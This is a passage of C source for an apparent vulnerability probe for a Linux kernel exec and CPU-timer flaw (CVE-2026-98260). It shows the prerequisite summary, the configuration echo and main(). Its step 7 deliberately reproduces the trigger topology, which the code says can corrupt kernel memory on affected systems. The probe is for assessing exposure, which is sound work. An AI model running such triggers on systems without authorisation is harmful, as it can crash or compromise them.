		"release=%s parsed=%d.%d affected_if_unfixed=>=5.7 introduced=%s",
		g_release[0] ? g_release : "-", g_kver_major, g_kver_minor,
		"55e8c8eb2c7b");

	set_pre_id("P3", V_UNKNOWN,
		"cannot be decided from userspace: fixed by acb03d388181; the CNA "
		"states no 5.10.y release contains the fix, so a 5.10.y kernel is "
		"unfixed unless the vendor backported it");

	for (i = 0; i < N_PRECURSOR; i++) {
		switch (g_pre[i].v) {
		case V_YES: met++; break;
		case V_NO:  unmet++; break;
		default:    unknown++; break;
		}
	}

	/*
	 * The bug lives in Linux-specific code (fs/exec.c de_thread() /
	 * exchange_tids(), kernel/time/posix-cpu-timers.c posix_cpu_timer_del(),
	 * cleanup_timerqueue(), rb_erase() over timerqueue nodes).  A "MET" row is
	 * therefore a necessary but never a sufficient condition for exposure.
	 *
	 * g_is_linux (uname() sysname == "Linux") is used below only as a
	 * *plausibility* input, NOT as a resolution of applicability: a kernel that
	 * renamed its uname() identity and its process/-object names while keeping a
	 * Linux-derived exec/timer core would report sysname != "Linux" and would
	 * still contain the defect.  For such a kernel the honest verdict is
	 * "cannot be decided from this probe" -- printed as UNRESOLVED, never as
	 * "not affected".
	 */
	plausible = (g_is_linux && affected_range && met >= 8 && unmet == 0) ? 1 : 0;

	out("\n");
	out("==================== SUMMARY CVE-2026-98260 (CVE-2026-98260) ====================\n");
	out("kernel: sysname=%s release=%s machine=%s version=%s\n",
	    g_sysname[0] ? g_sysname : "-", g_release[0] ? g_release : "-",
	    g_machine[0] ? g_machine : "-", g_version[0] ? g_version : "-");
	out("host:   ncpu=%ld pagesize=%ld pid=%ld tid=%ld\n",
	    g_ncpu, g_pagesize, (long)getpid(), gettid_raw());
	out("steps:  ran=%d ok=%d total_steps=%d\n",
	    (g_step_ran[1] + g_step_ran[2] + g_step_ran[3] + g_step_ran[4] +
	     g_step_ran[5] + g_step_ran[6] + g_step_ran[7] + g_step_ran[8]),
	    (g_step_ok[1] + g_step_ok[2] + g_step_ok[3] + g_step_ok[4] +
	     g_step_ok[5] + g_step_ok[6] + g_step_ok[7] + g_step_ok[8]), 8);
	out("\n");
	out("%-4s %-30s %-9s %s\n", "ID", "PREREQUISITE", "VERDICT", "EVIDENCE");
	out("--------------------------------------------------------------------------------\n");
	for (i = 0; i < N_PRECURSOR; i++)
		out("%-4s %-30s %-9s %s\n", g_pre[i].id, g_pre[i].name,
		    verdict_str(g_pre[i].v), g_pre[i].detail);
	out("--------------------------------------------------------------------------------\n");
	out("prerequisites: met=%u not_met=%u unknown=%u of %u\n",
	    met, unmet, unknown, (unsigned)N_PRECURSOR);
	out("\n");

	for (i = 0; i < N_PRECURSOR; i++)
		out("[SUMMARY] %s %s: %s detail=%s\n", g_pre[i].id,
		    g_pre[i].name, verdict_str(g_pre[i].v), g_pre[i].detail);

	out("[SUMMARY] prerequisites_met=%u prerequisites_not_met=%u "
	    "prerequisites_unknown=%u total=%u\n", met, unmet, unknown,
	    (unsigned)N_PRECURSOR);

	if (g_is_linux)
		out("[SUMMARY] cve_2026_98260_reachable: %s "
		    "detail=kernel reports sysname=Linux release=%s; %s; "
		    "prerequisites_met=%u unmet=%u unknown=%u\n",
		    plausible ? "POSSIBLE" : "UNLIKELY",
		    g_release[0] ? g_release : "-",
		    affected_range ? "release is inside the affected range" :
				     "release is outside the affected range",
		    met, unmet, unknown);
	else
		out("[SUMMARY] cve_2026_98260_reachable: UNRESOLVED "
		    "detail=kernel reports sysname=%s, which is not an upstream Linux "
		    "identity, but applicability cannot be decided from uname() alone: a "
		    "Linux-derived kernel with renamed process objects/sysname is NOT "
		    "excluded and no Linux object or symbol inventory is reachable to "
		    "check; prerequisites_met=%u unmet=%u unknown=%u of %u\n",
		    g_sysname[0] ? g_sysname : "?", met, unmet, unknown,
		    (unsigned)N_PRECURSOR);

	out("\n");
	out("NOTE 1: CVE-2026-98260 is a defect of the LINUX kernel implementation of\n");
	out("        fs/exec.c (de_thread()/exchange_tids()/begin_new_exec()) and of\n");
	out("        kernel/time/posix-cpu-timers.c (posix_cpu_timer_del(),\n");
	out("        cleanup_timerqueue(), timerqueue_del()/rb_erase()). A sysname that is\n");
	out("        not \"Linux\" is NOT a sound reason to call a device unaffected: a\n");
	out("        kernel that renamed its uname() identity and its process objects\n");
	out("        while keeping a Linux-derived exec/timer core would report\n");
	out("        sysname!=\"Linux\" and would still contain the defect, so \"no evidence\n");
	out("        of exposure\" must not be restated as \"cannot be affected\". What is\n");
	out("        safe to say is (i) the primitives can be present while the bug is not,\n");
	out("        so a MET row is never proof of exposure, and (ii) applicability cannot\n");
	out("        be decided from userspace alone. Reported sysname here: %s\n",
	    g_sysname[0] ? g_sysname : "?");
	out("NOTE 2: a \"UNKNOWN\" verdict means the question cannot be answered from\n");
	out("        userspace alone (typically the vendor patch level). It is not a\n");
	out("        negative result.\n");
	out("NOTE 3: step 7 only reproduces the trigger TOPOLOGY. It adds no corruption\n");
	out("        step of its own: no spraying and no reclaim. Reproducing the topology\n");
	out("        is itself what can make an affected kernel corrupt memory -- at most\n");
	out("        once per attempt that enters the window, so the upper bound is this\n");
	out("        run's attempt count (default 3, maximum 16). Collect\n");
	out("        `hdc shell 'dmesg | tail -n 100'` afterwards.\n");
	out("NOTE 4: the CVE PoC uses sigev_signo=SIGRTMIN for the per-thread CPU timer.\n");
	out("        On this libc that number is reserved by the C runtime; this probe\n");
	out("        uses SIGRTMIN+%d (%d) instead. See [INFO 0] above.\n",
	    g_cpu_sig - g_sigrtmin, g_cpu_sig);
	out("================================================================================\n");

	fmt(d, sizeof d, "met=%u not_met=%u unknown=%u is_linux=%d",
	    met, unmet, unknown, g_is_linux);
	step_report(9, "summary", 1, 0, "%s", d);
}

/* ================================================================== */
/* re-exec entry point                                                 */
/* ================================================================== */

static void handle_exec_landed(const char *pre)
{
	int tgid = -1, etid = -1;
	long mytid;
	int nthreads;

	if (pre != NULL && sscanf(pre, "%d:%d", &tgid, &etid) != 2) {
		tgid = -1;
		etid = -1;
	}

	mytid = gettid_raw();
	nthreads = count_threads_self();

	out("[EXEC-LANDED] pid=%ld tid=%ld pre_tgid=%d pre_exec_tid=%d "
	    "tid_exchanged=%d threads=%d detail=non-leader thread replaced the "
	    "thread group; tid is now the old leader's tgid and the sibling "
	    "threads are gone\n",
	    (long)getpid(), mytid, tgid, etid,
	    (mytid == (long)tgid && mytid != (long)etid) ? 1 : 0, nthreads);

	_exit(0);
}

int main(int argc, char **argv)
{
	if (argc >= 3 && strcmp(argv[1], "--exec-landed") == 0) {
		handle_exec_landed(argv[2]);
		/* not reached */
	}

	if (argv[0] != NULL)
		g_argv0 = argv[0];

	/* bounded VMA count / attempt count for step 7 */
	{
		const char *s = getenv("PROBE_VMA_COUNT");

		if (s != NULL) {
			unsigned long v = strtoul(s, NULL, 10);

			if (v > 0 && v <= MAX_VMA_COUNT)
				g_vma_count = v;
		}
		s = getenv("PROBE_TRIG_ATTEMPTS");
		if (s != NULL) {
			long v = strtol(s, NULL, 10);

			if (v >= 1 && v <= MAX_ATTEMPTS)
				g_attempts = (int)v;
		}

		/*
		 * Step-7 target selection.  A caller may pass a comma-separated list;
		 * this program uses the first entry, because the cycling policy of a
		 * repeated experiment is the caller's decision and not the instrument's.
		 * The whole list is echoed so that a report can state what was asked
		 * for even when only one entry was used.
		 */
		s = getenv("PROBE_TRIG_EXECS");
		if (s != NULL && s[0] == '/') {
			size_t n = strlen(s);

			if (n >= sizeof g_trig_exec_list)
				n = sizeof g_trig_exec_list - 1;
			memcpy(g_trig_exec_list, s, n);
			g_trig_exec_list[n] = '\0';

			n = strcspn(g_trig_exec_list, ",");
			if (n == 0 || n >= sizeof g_trig_exec_path)
				n = sizeof g_trig_exec_path - 1;
			memcpy(g_trig_exec_path, g_trig_exec_list, n);
			g_trig_exec_path[n] = '\0';
		} else if (s != NULL) {
			out("[INFO 0] config: PROBE_TRIG_EXECS ignored (not an absolute "
			    "path); using %s\n", g_trig_exec_path);
		}

		s = getenv("PROBE_TRIG_NOKILL");
		if (s != NULL)
			g_trig_nokill = (strtol(s, NULL, 10) != 0) ? 1 : 0;
	}

	/*
	 * g_ts must be shared with the forked target and with the target's
	 * CLONE_VM helpers so the parent can read back what happened.  A
	 * MAP_SHARED|MAP_ANONYMOUS mapping is preserved as shared across fork().
	 */
	g_ts = mmap(NULL, sizeof *g_ts, PROT_READ | PROT_WRITE,
		    MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	if (g_ts == MAP_FAILED) {
		g_ts = &g_ts_fallback;
		out("[INFO 0] init: MAP_SHARED state unavailable errno=%d(%s); "
		    "parent-side cross-process observation degraded\n",
		    errno, errno_name(errno));
	}
	memset(g_ts, 0, sizeof *g_ts);

	probe_init_signals();

	g_watchdog_exit_code = 0;
	alarm(WATCHDOG_SECONDS);

	out("probe: CVE-2026-98260 kernel-primitive capability probe (aarch64)\n");
	out("probe: argv0=%s vma_count=%lu trig_attempts=%d watchdog=%ds\n",
	    argv[0] ? argv[0] : "?", g_vma_count, g_attempts, WATCHDOG_SECONDS);

	/*
	 * Echo the effective configuration.  This is the whole point of having a
	 * single configuration file at all: a report must be able to state which
	 * configuration and which target it describes.  The values echoed here are
	 * the published ones unless the operator overrode them for this run, so a
	 * value you did not choose - and did not inherit from probe_config.h -
	 * means step 6 and step 7 describe something other than what you think.
	 */
	{
		char cands_str[400];

		config_candidate_list(cands_str, sizeof cands_str);
		out("[INFO 0] config: exec_target=%s exec_target_list=%s nokill=%d "
		    "exec_candidates=%s kernel_log=%s rt_signal_offset=%d "
		    "vma_count=%lu attempts=%d watchdog=%ds\n",
		    g_trig_exec_path, g_trig_exec_list, g_trig_nokill,
		    cands_str, PROBE_CFG_KMSG_PATH,
		    (int)(PROBE_CFG_RT_SIGNAL_OFFSET),
		    g_vma_count, g_attempts, WATCHDOG_SECONDS);
	}

	step1_identity();
	step2_baseline();
	step3_timer_create_main();
	step4_timer_settime();
	step5_nonleader_thread();
	step6_exec_nonleader();
	step7_trigger_topology();
	step8_race_primitives();
	step9_summary();

	alarm(0);
	out("\nprobe: done (exit 0; failing steps are data, not errors)\n");
	return 0;
}